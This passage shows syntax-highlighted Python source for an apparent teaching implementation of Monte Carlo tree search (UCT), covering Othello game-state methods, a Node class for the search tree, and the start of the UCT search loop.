</span></span><span class="line"><span class="ln">206</span><span class="cl">                <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="bp">self</span><span class="o">.</span><span class="n">ExistsSandwichedCounter</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">207</span><span class="cl">
</span></span><span class="line"><span class="ln">208</span><span class="cl">    <span class="k">def</span> <span class="nf">AdjacentToEnemy</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">209</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Speeds up GetMoves by only considering squares which are adjacent to an enemy-occupied square.
</span></span></span><span class="line"><span class="ln">210</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">211</span><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="n">dx</span><span class="p">,</span> <span class="n">dy</span><span class="p">)</span> <span class="ow">in</span> <span class="p">[(</span><span class="mi">0</span><span class="p">,</span> <span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">+</span><span class="mi">1</span><span class="p">)]:</span>
</span></span><span class="line"><span class="ln">212</span><span class="cl">            <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">IsOnBoard</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">dx</span><span class="p">,</span> <span class="n">y</span> <span class="o">+</span> <span class="n">dy</span><span class="p">)</span> <span class="ow">and</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span> <span class="o">+</span> <span class="n">dx</span><span class="p">][</span><span class="n">y</span> <span class="o">+</span> <span class="n">dy</span><span class="p">]</span> <span class="o">==</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">213</span><span class="cl">                <span class="k">return</span> <span class="kc">True</span>
</span></span><span class="line"><span class="ln">214</span><span class="cl">        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="ln">215</span><span class="cl">
</span></span><span class="line"><span class="ln">216</span><span class="cl">    <span class="k">def</span> <span class="nf">AdjacentEnemyDirections</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">217</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Speeds up GetMoves by only considering squares which are adjacent to an enemy-occupied square.
</span></span></span><span class="line"><span class="ln">218</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">219</span><span class="cl">        <span class="n">es</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">220</span><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="n">dx</span><span class="p">,</span> <span class="n">dy</span><span class="p">)</span> <span class="ow">in</span> <span class="p">[(</span><span class="mi">0</span><span class="p">,</span> <span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">+</span><span class="mi">1</span><span class="p">)]:</span>
</span></span><span class="line"><span class="ln">221</span><span class="cl">            <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">IsOnBoard</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">dx</span><span class="p">,</span> <span class="n">y</span> <span class="o">+</span> <span class="n">dy</span><span class="p">)</span> <span class="ow">and</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span> <span class="o">+</span> <span class="n">dx</span><span class="p">][</span><span class="n">y</span> <span class="o">+</span> <span class="n">dy</span><span class="p">]</span> <span class="o">==</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">222</span><span class="cl">                <span class="n">es</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">dx</span><span class="p">,</span> <span class="n">dy</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">223</span><span class="cl">        <span class="k">return</span> <span class="n">es</span>
</span></span><span class="line"><span class="ln">224</span><span class="cl">
</span></span><span class="line"><span class="ln">225</span><span class="cl">    <span class="k">def</span> <span class="nf">ExistsSandwichedCounter</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">226</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Does there exist at least one counter which would be flipped if my counter was placed at (x,y)?
</span></span></span><span class="line"><span class="ln">227</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">228</span><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="n">dx</span><span class="p">,</span> <span class="n">dy</span><span class="p">)</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">AdjacentEnemyDirections</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">229</span><span class="cl">            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">SandwichedCounters</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">dx</span><span class="p">,</span> <span class="n">dy</span><span class="p">))</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">230</span><span class="cl">                <span class="k">return</span> <span class="kc">True</span>
</span></span><span class="line"><span class="ln">231</span><span class="cl">        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="ln">232</span><span class="cl">
</span></span><span class="line"><span class="ln">233</span><span class="cl">    <span class="k">def</span> <span class="nf">GetAllSandwichedCounters</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">234</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Is (x,y) a possible move (i.e. opponent counters are sandwiched between (x,y) and my counter in some direction)?
</span></span></span><span class="line"><span class="ln">235</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">236</span><span class="cl">        <span class="n">sandwiched</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">237</span><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="n">dx</span><span class="p">,</span> <span class="n">dy</span><span class="p">)</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">AdjacentEnemyDirections</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">238</span><span class="cl">            <span class="n">sandwiched</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">SandwichedCounters</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">dx</span><span class="p">,</span> <span class="n">dy</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">239</span><span class="cl">        <span class="k">return</span> <span class="n">sandwiched</span>
</span></span><span class="line"><span class="ln">240</span><span class="cl">
</span></span><span class="line"><span class="ln">241</span><span class="cl">    <span class="k">def</span> <span class="nf">SandwichedCounters</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">dx</span><span class="p">,</span> <span class="n">dy</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">242</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Return the coordinates of all opponent counters sandwiched between (x,y) and my counter.
</span></span></span><span class="line"><span class="ln">243</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">244</span><span class="cl">        <span class="n">x</span> <span class="o">+=</span> <span class="n">dx</span>
</span></span><span class="line"><span class="ln">245</span><span class="cl">        <span class="n">y</span> <span class="o">+=</span> <span class="n">dy</span>
</span></span><span class="line"><span class="ln">246</span><span class="cl">        <span class="n">sandwiched</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">247</span><span class="cl">        <span class="k">while</span> <span class="bp">self</span><span class="o">.</span><span class="n">IsOnBoard</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="ow">and</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">]</span> <span class="o">==</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">248</span><span class="cl">            <span class="n">sandwiched</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">249</span><span class="cl">            <span class="n">x</span> <span class="o">+=</span> <span class="n">dx</span>
</span></span><span class="line"><span class="ln">250</span><span class="cl">            <span class="n">y</span> <span class="o">+=</span> <span class="n">dy</span>
</span></span><span class="line"><span class="ln">251</span><span class="cl">        <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">IsOnBoard</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="ow">and</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">]</span> <span class="o">==</span> <span class="mi">3</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">252</span><span class="cl">            <span class="k">return</span> <span class="n">sandwiched</span>
</span></span><span class="line"><span class="ln">253</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">254</span><span class="cl">            <span class="k">return</span> <span class="p">[]</span>  <span class="c1"># nothing sandwiched</span>
</span></span><span class="line"><span class="ln">255</span><span class="cl">
</span></span><span class="line"><span class="ln">256</span><span class="cl">    <span class="k">def</span> <span class="nf">IsOnBoard</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">257</span><span class="cl">        <span class="k">return</span> <span class="n">x</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="bp">self</span><span class="o">.</span><span class="n">size</span> <span class="ow">and</span> <span class="n">y</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">y</span> <span class="o">&lt;</span> <span class="bp">self</span><span class="o">.</span><span class="n">size</span>
</span></span><span class="line"><span class="ln">258</span><span class="cl">
</span></span><span class="line"><span class="ln">259</span><span class="cl">    <span class="k">def</span> <span class="nf">GetResult</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">playerjm</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">260</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Get the game result from the viewpoint of playerjm. 
</span></span></span><span class="line"><span class="ln">261</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">262</span><span class="cl">        <span class="n">jmcount</span> <span class="o">=</span> <span class="nb">len</span><span class="p">([(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span><span class="p">)</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span><span class="p">)</span> <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">]</span> <span class="o">==</span> <span class="n">playerjm</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">263</span><span class="cl">        <span class="n">notjmcount</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">264</span><span class="cl">            <span class="p">[(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span><span class="p">)</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span><span class="p">)</span> <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">]</span> <span class="o">==</span> <span class="mi">3</span> <span class="o">-</span> <span class="n">playerjm</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">265</span><span class="cl">        <span class="k">if</span> <span class="n">jmcount</span> <span class="o">&gt;</span> <span class="n">notjmcount</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">266</span><span class="cl">            <span class="k">return</span> <span class="mf">1.0</span>
</span></span><span class="line"><span class="ln">267</span><span class="cl">        <span class="k">elif</span> <span class="n">notjmcount</span> <span class="o">&gt;</span> <span class="n">jmcount</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">268</span><span class="cl">            <span class="k">return</span> <span class="mf">0.0</span>
</span></span><span class="line"><span class="ln">269</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">270</span><span class="cl">            <span class="k">return</span> <span class="mf">0.5</span>  <span class="c1"># draw</span>
</span></span><span class="line"><span class="ln">271</span><span class="cl">
</span></span><span class="line"><span class="ln">272</span><span class="cl">    <span class="k">def</span> <span class="fm">__repr__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">273</span><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">274</span><span class="cl">        <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">275</span><span class="cl">            <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">276</span><span class="cl">                <span class="n">s</span> <span class="o">+=</span> <span class="s2">&#34;.XO&#34;</span><span class="p">[</span><span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">]]</span>
</span></span><span class="line"><span class="ln">277</span><span class="cl">            <span class="n">s</span> <span class="o">+=</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">278</span><span class="cl">        <span class="k">return</span> <span class="n">s</span>
</span></span><span class="line"><span class="ln">279</span><span class="cl">
</span></span><span class="line"><span class="ln">280</span><span class="cl">
</span></span><span class="line"><span class="ln">281</span><span class="cl"><span class="k">class</span> <span class="nc">Node</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">282</span><span class="cl">    <span class="s2">&#34;&#34;&#34; A node in the game tree. Note wins is always from the viewpoint of playerJustMoved.
</span></span></span><span class="line"><span class="ln">283</span><span class="cl"><span class="s2">        Crashes if state not specified.
</span></span></span><span class="line"><span class="ln">284</span><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">285</span><span class="cl">
</span></span><span class="line"><span class="ln">286</span><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">move</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">parent</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">state</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">287</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">move</span> <span class="o">=</span> <span class="n">move</span>  <span class="c1"># the move that got us to this node - &#34;None&#34; for the root node</span>
</span></span><span class="line"><span class="ln">288</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">parentNode</span> <span class="o">=</span> <span class="n">parent</span>  <span class="c1"># &#34;None&#34; for the root node</span>
</span></span><span class="line"><span class="ln">289</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">childNodes</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">290</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">wins</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">291</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">visits</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">292</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">untriedMoves</span> <span class="o">=</span> <span class="n">state</span><span class="o">.</span><span class="n">GetMoves</span><span class="p">()</span>  <span class="c1"># future child nodes</span>
</span></span><span class="line"><span class="ln">293</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="n">state</span><span class="o">.</span><span class="n">playerJustMoved</span>  <span class="c1"># the only part of the state that the Node needs later</span>
</span></span><span class="line"><span class="ln">294</span><span class="cl">
</span></span><span class="line"><span class="ln">295</span><span class="cl">    <span class="k">def</span> <span class="nf">UCTSelectChild</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">296</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Use the UCB1 formula to select a child node. Often a constant UCTK is applied so we have
</span></span></span><span class="line"><span class="ln">297</span><span class="cl"><span class="s2">            lambda c: c.wins/c.visits + UCTK * sqrt(2*log(self.visits)/c.visits to vary the amount of
</span></span></span><span class="line"><span class="ln">298</span><span class="cl"><span class="s2">            exploration versus exploitation.
</span></span></span><span class="line"><span class="ln">299</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">300</span><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">childNodes</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">c</span><span class="p">:</span> <span class="n">c</span><span class="o">.</span><span class="n">wins</span> <span class="o">/</span> <span class="n">c</span><span class="o">.</span><span class="n">visits</span> <span class="o">+</span> <span class="n">sqrt</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">log</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">visits</span><span class="p">)</span> <span class="o">/</span> <span class="n">c</span><span class="o">.</span><span class="n">visits</span><span class="p">))[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">301</span><span class="cl">        <span class="k">return</span> <span class="n">s</span>
</span></span><span class="line"><span class="ln">302</span><span class="cl">
</span></span><span class="line"><span class="ln">303</span><span class="cl">    <span class="k">def</span> <span class="nf">AddChild</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">m</span><span class="p">,</span> <span class="n">s</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">304</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Remove m from untriedMoves and add a new child node for this move.
</span></span></span><span class="line"><span class="ln">305</span><span class="cl"><span class="s2">            Return the added child node
</span></span></span><span class="line"><span class="ln">306</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">307</span><span class="cl">        <span class="n">n</span> <span class="o">=</span> <span class="n">Node</span><span class="p">(</span><span class="n">move</span><span class="o">=</span><span class="n">m</span><span class="p">,</span> <span class="n">parent</span><span class="o">=</span><span class="bp">self</span><span class="p">,</span> <span class="n">state</span><span class="o">=</span><span class="n">s</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">308</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">untriedMoves</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">309</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">childNodes</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">310</span><span class="cl">        <span class="k">return</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">311</span><span class="cl">
</span></span><span class="line"><span class="ln">312</span><span class="cl">    <span class="k">def</span> <span class="nf">Update</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">result</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">313</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Update this node - one additional visit and result additional wins. result must be from the viewpoint of playerJustmoved.
</span></span></span><span class="line"><span class="ln">314</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">315</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">visits</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln">316</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">wins</span> <span class="o">+=</span> <span class="n">result</span>
</span></span><span class="line"><span class="ln">317</span><span class="cl">
</span></span><span class="line"><span class="ln">318</span><span class="cl">    <span class="k">def</span> <span class="fm">__repr__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">319</span><span class="cl">        <span class="k">return</span> <span class="s2">&#34;[M:&#34;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">move</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34; W/V:&#34;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">wins</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;/&#34;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">visits</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34; U:&#34;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">320</span><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">untriedMoves</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;]&#34;</span>
</span></span><span class="line"><span class="ln">321</span><span class="cl">
</span></span><span class="line"><span class="ln">322</span><span class="cl">    <span class="k">def</span> <span class="nf">TreeToString</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">indent</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">323</span><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">IndentString</span><span class="p">(</span><span class="n">indent</span><span class="p">)</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">324</span><span class="cl">        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">childNodes</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">325</span><span class="cl">            <span class="n">s</span> <span class="o">+=</span> <span class="n">c</span><span class="o">.</span><span class="n">TreeToString</span><span class="p">(</span><span class="n">indent</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">326</span><span class="cl">        <span class="k">return</span> <span class="n">s</span>
</span></span><span class="line"><span class="ln">327</span><span class="cl">
</span></span><span class="line"><span class="ln">328</span><span class="cl">    <span class="k">def</span> <span class="nf">IndentString</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">indent</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">329</span><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">330</span><span class="cl">        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">indent</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">331</span><span class="cl">            <span class="n">s</span> <span class="o">+=</span> <span class="s2">&#34;| &#34;</span>
</span></span><span class="line"><span class="ln">332</span><span class="cl">        <span class="k">return</span> <span class="n">s</span>
</span></span><span class="line"><span class="ln">333</span><span class="cl">
</span></span><span class="line"><span class="ln">334</span><span class="cl">    <span class="k">def</span> <span class="nf">ChildrenToString</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">335</span><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">336</span><span class="cl">        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">childNodes</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">337</span><span class="cl">            <span class="n">s</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">338</span><span class="cl">        <span class="k">return</span> <span class="n">s</span>
</span></span><span class="line"><span class="ln">339</span><span class="cl">
</span></span><span class="line"><span class="ln">340</span><span class="cl">
</span></span><span class="line"><span class="ln">341</span><span class="cl"><span class="k">def</span> <span class="nf">UCT</span><span class="p">(</span><span class="n">rootstate</span><span class="p">,</span> <span class="n">itermax</span><span class="p">,</span> <span class="n">verbose</span><span class="o">=</span><span class="kc">False</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">342</span><span class="cl">    <span class="s2">&#34;&#34;&#34; Conduct a UCT search for itermax iterations starting from rootstate.
</span></span></span><span class="line"><span class="ln">343</span><span class="cl"><span class="s2">        Return the best move from the rootstate.
</span></span></span><span class="line"><span class="ln">344</span><span class="cl"><span class="s2">        Assumes 2 alternating players (player 1 starts), with game results in the range [0.0, 1.0].&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">345</span><span class="cl">
</span></span><span class="line"><span class="ln">346</span><span class="cl">    <span class="n">rootnode</span> <span class="o">=</span> <span class="n">Node</span><span class="p">(</span><span class="n">state</span><span class="o">=</span><span class="n">rootstate</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">347</span><span class="cl">
</span></span><span class="line"><span class="ln">348</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">itermax</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">349</span><span class="cl">        <span class="n">node</span> <span class="o">=</span> <span class="n">rootnode</span>
</span></span><span class="line"><span class="ln">350</span><span class="cl">        <span class="n">state</span> <span class="o">=</span> <span class="n">rootstate</span><span class="o">.</span><span class="n">Clone</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">351</span><span class="cl">
</span></span><span class="line"><span class="ln">352</span><span class="cl">        <span class="c1"># Select</span>
